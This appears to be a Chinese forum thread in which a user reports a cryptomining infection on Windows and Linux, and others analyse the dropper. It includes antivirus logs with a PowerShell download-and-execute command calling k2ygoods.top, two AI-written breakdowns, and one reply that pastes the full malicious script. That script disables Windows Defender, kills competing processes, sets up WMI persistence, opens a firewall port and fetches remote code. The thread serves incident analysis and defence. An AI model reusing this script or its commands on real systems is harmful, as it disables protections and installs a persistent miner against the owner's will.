windows 中毒了

65 天前
 mingtdlb

哪位大佬给他 D 一下,Google 搜了下 k2ygoods ,好多

防护项目:利用系统进程启动恶意程序
可疑文件:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
执行命令行:powershell.exe  IEX (New-Object system.Net.WebClient).DownloadString('http://k2ygoods.top/power.txt')
操作结果:已阻止
进程 ID:5580
操作进程:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
操作进程命令行:cmd /c powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://k2ygoods.top/power.txt')
操作进程校验和:7C3D7281E1151FE4127923F4B4C3CD36438E1A12
父进程 ID:1132
父进程:C:\Windows\System32\wbem\WmiPrvSE.exe
父进程命令行:C:\Windows\system32\wbem\wmiprvse.exe -Embedding

4043 次点击
所在节点    信息安全
22 条回复
coolair
65 天前
访问就会中毒?!
tool2dx
65 天前
我去访问了,403 ,把我拒了。
davin
65 天前
看到关联网址里面有个 m.dat 文件,下载到本地后,会被重命名为 m.exe ,里面的东西用在线分析工具分析的部分结果如下:

引擎 结果
AVG BV:Miner-HA
DrWeb Trojan.Siggen29.1091
Avira TR/Dldr.Agent.aemwb
IKARUS Trojan.WinGo.Shellcoderunner
Fortinet W32/Agent.FU!tr.dldr
Kaspersky Trojan.VBS.Starter.lr
ESET a variant of Generik.MVPLCEB trojan
Avast BV:Miner-HA
Rising HackTool.XMRMiner!1.C2EC (CLASSIC)
Arcabit Trojan.Generic.D3FEBE29 [many]
Kingsoft Win32.Troj.Unknown.a.(kcloud)
Emsisoft Trojan.GenericKD.67026473 (B)
Panda Generic Malware
mingtdlb
65 天前
@coolair 不知道呀,所以建议 不懂就不访问了呗。
@tool2dx 你 url 不对吧应该,或者你网络防火墙之类的安全设备检测到了。
@davin 是的,这个我在系统上有看到,而且它还隐藏了。它还有定时任务,,现在都给我删了。

Linux 发现的时候 ssh 不上,上行流量 2G/s ,太夸张了,看 config.json 跟 windows 是同一个病毒。
kirisamemarisas
65 天前
挖矿的僵尸网络
dyllen
65 天前
访问就能会中毒,是什么原理?
suxiaoxiann
65 天前
访问不了
LaureatePoet
65 天前
http://k2ygoods[.]top/power.txt





这个 PowerShell 脚本有很强的恶意行为,涉及禁用 Windows 安全特性、删除系统进程、并尝试从远程服务器下载和执行恶意代码。下面是对脚本的详细分析:

### 1. 生成随机字符串
```powershell
$sys=-join ([char[]](48..57+97..122) | Get-Random -Count (Get-Random (6..12)))
```
- 该行代码生成一个长度在 6 到 12 之间的随机字符串,由小写字母和数字组成。

### 2. 定义目标路径
```powershell
$dst="C:\Windows\debug\m\winlogon.exe"
```
- 该变量定义了一个路径,指向`winlogon.exe`的假定位置。

### 3. 禁用防火墙
```powershell
#netsh advfirewall set allprofiles state off
```
- 注释掉的行试图关闭所有 Windows 防火墙。虽然被注释掉,但这显示了脚本的潜在意图。

### 4. 禁用 Windows Defender
```powershell
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableRealtimeMonitoring $true
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f
```
- 这些命令禁用了 Windows Defender 的实时监控和反间谍软件功能,使得系统更加容易受到恶意软件的攻击。

### 5. 终止和删除某些进程
```powershell
gwmi -Class 'Win32_Process' -Filter "Name='svchost.exe'" | %{if(($_.ExecutablePath -ne ($env:windir+'\system32\svchost.exe')) -and ($_.ExecutablePath -ne ($env:windir+'\syswow64\svchost.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}
```
- 使用`Get-WmiObject` (gwmi) 获取正在运行的进程,并筛选出特定名称的进程(如`svchost.exe`)。如果这些进程不在预期的系统路径中(如`system32`或`syswow64`),则终止并强制删除其可执行文件。
- 这一段代码显然在试图清除潜在的恶意进程,但也可能用于杀死合法进程,从而破坏系统的正常功能。

### 6. 检查特定进程和服务是否存在
```powershell
$pExsit = (Get-Process winlogon -ErrorAction SilentlyContinue).Path -eq $dst
$sExsit = (Get-Service "Windows Updata" -ErrorAction SilentlyContinue).Status -eq "Running"
```
- 这两行代码检查`winlogon`进程是否在指定的路径上运行,以及名为`Windows Updata`的服务是否正在运行。

### 7. 从远程服务器下载并执行代码
```powershell
if ($pExsit -and $sExsit) {
IEX (New-Object system.Net.WebClient).DownloadString('http://k2ygoods.top/config.txt')
} else {
...
IEX (New-Object system.Net.WebClient).DownloadString('http://k2ygoods.top/download.txt')
}
```
- 如果检查通过,脚本将从`http://k2ygoods.top/config.txt`下载并执行内容;否则,它会清理某些 WMI 事件和消费者,然后从`http://k2ygoods.top/download.txt`下载并执行代码。

### 8. 清除和创建 WMI 事件过滤器与消费者
```powershell
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='updata'" | Remove-WmiObject -Verbose
...
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" ...
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" ...
```
- 这一部分脚本清除了某些 WMI 事件过滤器和消费者,然后创建了新的过滤器和消费者。新的 WMI 事件设置会在特定条件下(如性能计数器事件)触发执行远程下载的恶意代码。

### 9. 停止和删除服务
```powershell
sc.exe stop "Windows Updata"
sc.exe delete "Windows Updata"
sc.exe stop "Windows Management"
sc.exe delete "Windows Management"
```
- 这些命令试图停止并删除名为`Windows Updata`和`Windows Management`的服务。此类操作可能会影响系统的管理功能。

### 10. 开启防火墙规则
```powershell
netsh advfirewall firewall add rule name="Windows Remote Management (HTTP-In)" dir=in action=allow service=any enable=yes profile=any localport=59857 protocol=tcp
```
- 脚本通过添加防火墙规则,允许 TCP 59857 端口的远程访问,这可能会为攻击者提供一个后门。

### 总结
这个脚本是一个恶意脚本,意图禁用系统的安全功能,清理并终止一些系统进程,设置持久化机制,并从远程服务器下载和执行恶意代码。它对系统的安全性构成了严重威胁,运行该脚本可能导致系统被完全控制或被用于进一步的恶意活动。
iyiluo
65 天前
浏览器的 0day ,你用的 IE ?
glaz
65 天前
@dyllen 网马,以前 IE 时代多的是,可以同时好多种漏洞访问就中毒。
LaureatePoet
65 天前
[VirusTotal - m.dat 检测结果]( https://www.virustotal.com/gui/file/c7eaff9d735d8eef42c73be4c093f7b31cf7d0df18c98d135eb915c13409d077/detection)

以下是对这三个 PowerShell 脚本的分别总结:

### 1. **主要脚本 (`power.txt` 脚本)**
- **目的**: 该脚本的目的是通过禁用系统防护和终止某些进程来破坏系统安全,同时下载和执行远程恶意代码。
- **主要操作**:
- **生成随机字符串**: 创建一个随机字符串并将其赋值给变量 `$sys`。
- **禁用 Windows Defender**: 通过多种方法禁用 Windows Defender 和其他安全特性。
- **终止并删除非标准进程**: 检查并终止多个系统关键进程,如 `svchost.exe`、`conhost.exe`,并删除它们的可执行文件。
- **检查恶意进程和服务**: 检查 `winlogon.exe` 是否存在于指定路径,并检测名为 "Windows Updata" 的服务是否正在运行。如果存在,执行从远程服务器下载的恶意代码,否则清除 WMI 持久化机制并重新配置恶意计划任务和 WMI 事件。
- **配置计划任务和防火墙**: 添加防火墙规则和计划任务以维持系统的长期感染状态。

### 2. **`config.txt` 脚本**
- **目的**: 检查配置文件是否已被篡改,如果未被篡改则下载新的配置文件并重新配置系统的持久化机制。
- **主要操作**:
- **检查配置文件**: 读取 `C:\Windows\debug\m\config.json` 内容,查看其中是否包含指定的恶意域名。如果不包含,则下载更新后的配置文件并替换现有文件。
- **更新 WMI 事件和计划任务**: 删除现有的 WMI 事件和计划任务,然后重新创建它们以确保执行恶意代码。
- **创建计划任务**: 通过 `schtasks` 命令创建一个定时任务,该任务定期从远程服务器下载并执行恶意代码。

### 3. **`download.txt` 脚本**
- **目的**: 下载、执行恶意文件,并通过设置权限和计划任务确保其持久性,同时防止系统修复。
- **主要操作**:
- **下载恶意文件**: 从远程服务器下载一个名为 `m.dat` 的文件并将其保存为 `m.exe`。
- **修改文件权限**: 使用 `icacls` 修改 `C:\Windows\debug\m` 目录及其内容的权限,确保恶意文件能够在多种用户环境下执行。
- **执行恶意文件**: 使用 `cmd.exe` 和 `Start-Process` 多次尝试执行下载的恶意文件和相关的脚本/批处理文件。
- **创建计划任务和防火墙规则**: 创建定时任务以确保恶意代码定期执行,同时开放特定端口以便远程管理或数据泄露。
- **清理痕迹**: 删除下载的恶意文件,并终止 `powershell.exe` 进程以减少被检测的风险。

### 总体总结
这些脚本展示了一个精心设计的多层次攻击策略,通过禁用系统防护、修改系统设置、执行恶意代码并创建持久化机制,攻击者可以保持对系统的长期控制并尽量减少被发现的可能性。
mirtle
65 天前
#8 #11 别发 ai 分析了,一两句话总结的小脚本,刷屏一样
FreeGuy
65 天前
Windows 的宿主机千万不能装需要管理员权限的软件,一定要用提权的软件,你就买性能好的机器再开 Sandbox !
GOliberation
65 天前
$sys=-join ([char[]](48..57+97..122) | Get-Random -Count (Get-Random (6..12)))
$dst="C:\Windows\debug\m\winlogon.exe"
#netsh advfirewall set allprofiles state off

Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableRealtimeMonitoring $true
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /d 1 /t REG_DWORD /f

# oldservice


gwmi -Class 'Win32_Process' -Filter "Name='svchost.exe'"|%{if(($_.ExecutablePath -ne ($env:windir+'\system32\svchost.exe')) -and ($_.ExecutablePath -ne ($env:windir+'\syswow64\svchost.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}
gwmi -Class 'Win32_Process' -Filter "Name='conhost.exe'"|%{if(($_.ExecutablePath -ne ($env:windir+'\system32\conhost.exe')) -and ($_.ExecutablePath -ne ($env:windir+'\syswow64\conhost.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}
gwmi -Class 'Win32_Process' -Filter "Name='Runtime.exe'"|%{if(($_.ExecutablePath -eq ($env:windir+'\Runtime.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}
gwmi -Class 'Win32_Process' -Filter "Name='Superfetch.exe'"|%{if(($_.ExecutablePath -eq ($env:windir+'\Tasks\Superfetch.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}
gwmi -Class 'Win32_Process' -Filter "Name='ApplicationsFrameHost.exe'"|%{if(($_.ExecutablePath -eq ($env:windir+'\Tasks\ApplicationsFrameHost.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}
gwmi -Class 'Win32_Process' -Filter "Name='MsTask.exe'"|%{if(($_.ExecutablePath -eq ($env:windir+'\Tasks\MsTask.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;icacls "C:\ProgramData\migrate.exe" /setowner SYSTEM;icacls "C:\ProgramData\migrate.exe" /inheritance:r /deny "SYSTEM:F";}}
gwmi -Class 'Win32_Process' -Filter "Name='MicrosoftPrt.exe'"|%{if(($_.ExecutablePath -eq ($env:windir+'\Tasks\MicrosoftPrt.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}
gwmi -Class 'Win32_Process' -Filter "Name='Wmiic.exe'"|%{if(($_.ExecutablePath -eq ($env:windir+'\Tasks\Wmiic.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}
gwmi -Class 'Win32_Process' -Filter "Name='IntelConfigService.exe'"|%{if(($_.ExecutablePath -eq ($env:windir+'\Tasks\IntelConfigService.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}
gwmi -Class 'Win32_Process' -Filter "Name='warp.exe'"|%{if(($_.ExecutablePath -eq ($env:windir+'\Tasks\warp.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}
gwmi -Class 'Win32_Process' -Filter "Name='WmiPrvSER.exe'"|%{if(($_.ExecutablePath -eq ($env:windir+'\Microsoft.NET\Framework\v3.0\WmiPrvSER.exe'))){$_.Terminate();del -LiteralPath $_.ExecutablePath -Force;}}



$pExsit = (Get-Process winlogon -ErrorAction SilentlyContinue).Path -eq $dst
$sExsit = (Get-Service "Windows Updata" -ErrorAction SilentlyContinue).Status -eq "Running"

if ($pExsit -and $sExsit) {

IEX (New-Object system.Net.WebClient).DownloadString('http://k2ygoods.top/config.txt')
}else{
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='updata'" | Remove-WmiObject -Verbose
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='updata2'" | Remove-WmiObject -Verbose
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='updata2'" | Remove-WmiObject -Verbose
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%updata%'" | Remove-WmiObject -Verbose


$filterName = 'updata'
$consumerName = 'updata2'
$exePath = 'cmd /c powershell.exe IEX (New-Object system.Net.WebClient).DownloadString(''http://k2ygoods.top/power.txt'')'
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 10900 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
$WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;CommandLineTemplate=$exePath}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}



sc.exe stop "Windows Updata"
sc.exe delete "Windows Updata"
sc.exe stop "Windows Management"
sc.exe delete "Windows Management"

netsh advfirewall firewall add rule name="Windows Remote Management (HTTP-In)" dir=in action=allow service=any enable=yes profile=any localport=59857 protocol=tcp

#Start-Process -windowstyle hidden
IEX (New-Object system.Net.WebClient).DownloadString('http://k2ygoods.top/download.txt')
}

你给 k2ygoods.top 这个域名在 HOSTS 里面强制指向 127.0.0.1 病毒自然就失效了!
gbadge
65 天前
访问了,什么时候能收到勒索信
liangdi
65 天前
@gbadge v50 告诉你
mingtdlb
65 天前
@LaureatePoet 似曾相识 哈哈哈,因为我问了 chatgpt 。
@dyllen 前面说了,不知道。你访问那个 url ,实际不止那个。我装的火绒,有拦截记录。然后全盘扫了一遍,希望没中毒,别号给我盗走了。
siweipancc
65 天前
难受,一堆 ai
z1829909
65 天前
@LaureatePoet 能不能别发 ai 生成的, 一堆废话还得滚一个屏幕.
mingtdlb
64 天前
@z1829909 v2 markdown 支持的不完美,不然 markdown 可以折叠。你去建议作者支持一下 哈哈。

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/1070402

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX